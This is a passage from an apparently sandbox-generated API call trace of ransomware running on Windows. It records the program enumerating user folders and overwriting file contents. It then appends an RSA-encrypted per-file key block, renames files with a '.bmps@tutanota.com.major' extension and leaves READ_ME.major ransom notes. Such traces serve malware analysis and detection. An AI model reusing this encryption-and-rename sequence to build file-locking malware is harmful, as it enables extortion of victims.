nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d4b0*, lpNumberOfBytesRead=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0301.386] SetFilePointer (in: hFile=0x1bcc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0301.386] WriteFile (in: hFile=0x1bcc, lpBuffer=0x59d430*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d430*, lpNumberOfBytesWritten=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0301.386] SetFilePointer (in: hFile=0x1bcc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x0 [0301.386] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0301.386] WriteFile (in: hFile=0x1bcc, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0301.387] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0301.387] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0301.387] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0301.388] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="y+jAMjBKgw6pz86dloUxlpPSyFgCWa+34DW+1k2L6Jje7J6A+wlSH0UhN4p50u2U\nPhxKXxADLGbcx6Ir2FgihEy5i53G52S3tN2qWmp/+95SK0rj7q8letfxbTDVbJXN\nvE02W3ByDh5IZRiKVNYbFAOwIjUkkyAYGNPppzcnlagCH00RDEijaKk5pvm5mtqB\nrEXQnyvTU2PXmRD2kCLYb+KWHwxsY8Fr9EtT7ZdMmKoIBFvSOUrsQ1Xq10LDoIPf\nT+Gk2e3IcifGbYVuTDhYTcx/PTkpo+wcsBMHLIsA4KLiMBWI+95FBVa0V+L+FIWm\n/dtjNBD3F1mJ9jff2gujNA==\n", pcchString=0x2e3f9a8) returned 1 [0301.388] WriteFile (in: hFile=0x1bcc, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0301.388] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0301.388] WriteFile (in: hFile=0x1bcc, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0301.388] CloseHandle (hObject=0x1bcc) returned 1 [0301.388] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!121\\MicrosoftEdge\\History\\container.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!121\\microsoftedge\\history\\container.dat"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!121\\MicrosoftEdge\\History\\container.dat.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!121\\microsoftedge\\history\\container.dat.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0301.523] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\MicrosoftEdge\\PlayReady\\InPrivate\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x902a1a6b, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x902a1a6b, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x512767b7, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f372e8 [0301.523] SetLastError (dwErrCode=0x0) [0301.523] GetLastError () returned 0x0 [0301.523] SetLastError (dwErrCode=0x0) [0301.523] GetLastError () returned 0x0 [0301.523] SetLastError (dwErrCode=0x0) [0301.523] FindNextFileW (in: hFindFile=0x2f372e8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x902a1a6b, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x902a1a6b, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x512767b7, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0301.523] SetLastError (dwErrCode=0x0) [0301.523] GetLastError () returned 0x0 [0301.523] SetLastError (dwErrCode=0x0) [0301.523] GetLastError () returned 0x0 [0301.523] SetLastError (dwErrCode=0x0) [0301.523] FindNextFileW (in: hFindFile=0x2f372e8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x512767b7, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x512767b7, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x512767b7, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0301.524] SetLastError (dwErrCode=0x0) [0301.524] GetLastError () returned 0x0 [0301.524] SetLastError (dwErrCode=0x0) [0301.524] GetLastError () returned 0x0 [0301.524] SetLastError (dwErrCode=0x0) [0301.524] FindNextFileW (in: hFindFile=0x2f372e8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x512767b7, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x512767b7, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x512767b7, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0301.524] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\202914\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc8c8f68d, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xe8aa796b, ftLastAccessTime.dwHighDateTime=0x1d327e6, ftLastWriteTime.dwLowDateTime=0x5129cb70, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f37328 [0301.524] SetLastError (dwErrCode=0x12) [0301.524] GetLastError () returned 0x12 [0301.524] SetLastError (dwErrCode=0x12) [0301.524] GetLastError () returned 0x12 [0301.524] SetLastError (dwErrCode=0x12) [0301.524] FindNextFileW (in: hFindFile=0x2f37328, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc8c8f68d, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xe8aa796b, ftLastAccessTime.dwHighDateTime=0x1d327e6, ftLastWriteTime.dwLowDateTime=0x5129cb70, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0301.524] SetLastError (dwErrCode=0x12) [0301.524] GetLastError () returned 0x12 [0301.524] SetLastError (dwErrCode=0x12) [0301.524] GetLastError () returned 0x12 [0301.524] SetLastError (dwErrCode=0x12) [0301.524] FindNextFileW (in: hFindFile=0x2f37328, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x735da87a, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0x735da87a, ftLastAccessTime.dwHighDateTime=0x1d327b4, ftLastWriteTime.dwLowDateTime=0x73626e75, ftLastWriteTime.dwHighDateTime=0x1d327b4, nFileSizeHigh=0x0, nFileSizeLow=0x189c, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="1504773410", cAlternateFileName="150477~1")) returned 1 [0301.525] SetLastError (dwErrCode=0x12) [0301.525] GetLastError () returned 0x12 [0301.525] SetLastError (dwErrCode=0x12) [0301.525] SetLastError (dwErrCode=0x12) [0301.525] FindNextFileW (in: hFindFile=0x2f37328, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8c8f68d, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x83f7d6d8, ftLastAccessTime.dwHighDateTime=0x1d327b4, ftLastWriteTime.dwLowDateTime=0xa4a596a5, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="eventbeacons.dat", cAlternateFileName="EVENTB~1.DAT")) returned 1 [0301.525] SetLastError (dwErrCode=0x12) [0301.525] GetLastError () returned 0x12 [0301.525] SetLastError (dwErrCode=0x12) [0301.525] SetLastError (dwErrCode=0x12) [0301.525] FindNextFileW (in: hFindFile=0x2f37328, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8c8f68d, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x8387c826, ftLastAccessTime.dwHighDateTime=0x1d327b4, ftLastWriteTime.dwLowDateTime=0xa4a596a5, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="imprbeacons.dat", cAlternateFileName="IMPRBE~1.DAT")) returned 1 [0301.525] SetLastError (dwErrCode=0x12) [0301.525] GetLastError () returned 0x12 [0301.525] SetLastError (dwErrCode=0x12) [0301.525] SetLastError (dwErrCode=0x12) [0301.525] FindNextFileW (in: hFindFile=0x2f37328, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5129cb70, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x5129cb70, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x5129cb70, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0301.525] SetLastError (dwErrCode=0x12) [0301.525] GetLastError () returned 0x12 [0301.525] SetLastError (dwErrCode=0x12) [0301.525] SetLastError (dwErrCode=0x12) [0301.525] FindNextFileW (in: hFindFile=0x2f37328, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5129cb70, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x5129cb70, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x5129cb70, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0301.525] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0301.526] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\202914\\imprbeacons.dat", dwFileAttributes=0x80) returned 1 [0301.526] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\202914\\imprbeacons.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\contentmanagementsdk\\creatives\\202914\\imprbeacons.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1bd4 [0301.526] GetFileSizeEx (in: hFile=0x1bd4, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=0) returned 1 [0301.526] ReadFile (in: hFile=0x1bd4, lpBuffer=0x59d4b0, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d4b0*, lpNumberOfBytesRead=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0301.527] SetFilePointer (in: hFile=0x1bd4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0301.527] WriteFile (in: hFile=0x1bd4, lpBuffer=0x59d430*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d430*, lpNumberOfBytesWritten=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0301.527] SetFilePointer (in: hFile=0x1bd4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x0 [0301.527] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0301.527] WriteFile (in: hFile=0x1bd4, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0301.528] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0301.528] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0301.529] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0301.529] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="rgi5LTy3vKwYjZRcpJKogplpfDe7HOg/e7JPlHgtnE5EIVVRn1UPXma6xVcvTX4Z\ntMczXsHvbxE63m8nvvY2GsLJGcJ4yRGkaTK8lQaewjWorNqJL7H/+KIlS6nptI+9\nDuULdLxbF4gGQ68ol0F6uanNkA/FUX81JFH3zd5csCWg5O4v1Qjpy4Mf4B4v+MA/\n9TYWFcUVeMOuRji9INOIL8Cyok0t7AvkRA6rttaRlUdfcNpYh3dh7bCYFUBCQPw6\nLB0+OTP29jn5IMwoQpu9hswL5w2B5gaXrxBY1SCaevgofAlAZFOr5kvo/5Z/T86p\nOQIT8glWlpbea7wXnymVgg==\n", pcchString=0x2e3f9a8) returned 1 [0301.529] WriteFile (in: hFile=0x1bd4, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0301.529] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0301.529] WriteFile (in: hFile=0x1bd4, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0301.529] CloseHandle (hObject=0x1bd4) returned 1 [0301.529] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\202914\\imprbeacons.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\contentmanagementsdk\\creatives\\202914\\imprbeacons.dat"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\202914\\imprbeacons.dat.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\contentmanagementsdk\\creatives\\202914\\imprbeacons.dat.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0301.531] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0301.531] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\202914\\eventbeacons.dat", dwFileAttributes=0x80) returned 1 [0301.531] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\202914\\eventbeacons.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\contentmanagementsdk\\creatives\\202914\\eventbeacons.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1bd4 [0301.531] GetFileSizeEx (in: hFile=0x1bd4, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=0) returned 1 [0301.532] ReadFile (in: hFile=0x1bd4, lpBuffer=0x59d430, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d430*, lpNumberOfBytesRead=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0301.532] SetFilePointer (in: hFile=0x1bd4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0301.532] WriteFile (in: hFile=0x1bd4, lpBuffer=0x59d4b0*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d4b0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0301.532] SetFilePointer (in: hFile=0x1bd4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x0 [0301.532] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0301.532] WriteFile (in: hFile=0x1bd4, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0301.533] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0301.533] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0301.533] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0301.533] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="qD6zXFbAnXYq+pFIgUpQkE54hRDsW9pCkL5KIUpGFEkH0iIFQZV/t/WggHEl2xbd\nw8X/qH3i9NgaRLq9V6QhmJmki8kcsCR77BjR0KM+dbFY6NXjUCzSf3yaWJ7ELAnw\nvzii1oXW/M0TjLtYlj9oBOIjQ4mZCs2xL+uVfbO5ED6sv16KFOiVZRqRuY+NCx40\nyuiyGvVI3RiIYSzPyLteULWV2I+I56o7I8FQh/zv8+0J6rJcPCytRNRHGuv7bu/N\nwywm21P0+myCoNBXtI/rRbRQfeRrXr+QqEissWCfDyM9HIaQdxPadgSJao+cD6DX\n5Kz8XTPEVR4hfcjGiMNnFw==\n", pcchString=0x2e3f9a8) returned 1 [0301.533] WriteFile (in: hFile=0x1bd4, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0301.533] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0301.533] WriteFile (in: hFile=0x1bd4, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0301.534] CloseHandle (hObject=0x1bd4) returned 1 [0301.534] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\202914\\eventbeacons.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\contentmanagementsdk\\creatives\\202914\\eventbeacons.dat"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\202914\\eventbeacons.dat.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\contentmanagementsdk\\creatives\\202914\\eventbeacons.dat.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0301.535] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0301.536] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\202914\\1504773410", dwFileAttributes=0x80) returned 1 [0301.536] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\202914\\1504773410" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\contentmanagementsdk\\creatives\\202914\\1504773410"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1bd4 [0301.536] GetFileSizeEx (in: hFile=0x1bd4, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=6300) returned 1 [0301.536] ReadFile (in: hFile=0x1bd4, lpBuffer=0x661908, nNumberOfBytesToRead=0x189c, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x661908*, lpNumberOfBytesRead=0x2e3f9b4*=0x189c, lpOverlapped=0x0) returned 1 [0301.624] SetFilePointer (in: hFile=0x1bd4, lDistanceToMove=-6300, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0301.624] WriteFile (in: hFile=0x1bd4, lpBuffer=0x2ee2008*, nNumberOfBytesToWrite=0x189c, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2ee2008*, lpNumberOfBytesWritten=0x2e3f9b4*=0x189c, lpOverlapped=0x0) returned 1 [0301.625] SetFilePointer (in: hFile=0x1bd4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x189c [0301.625] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0301.625] WriteFile (in: hFile=0x1bd4, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0301.625] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0301.625] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0301.625] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0301.625] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: 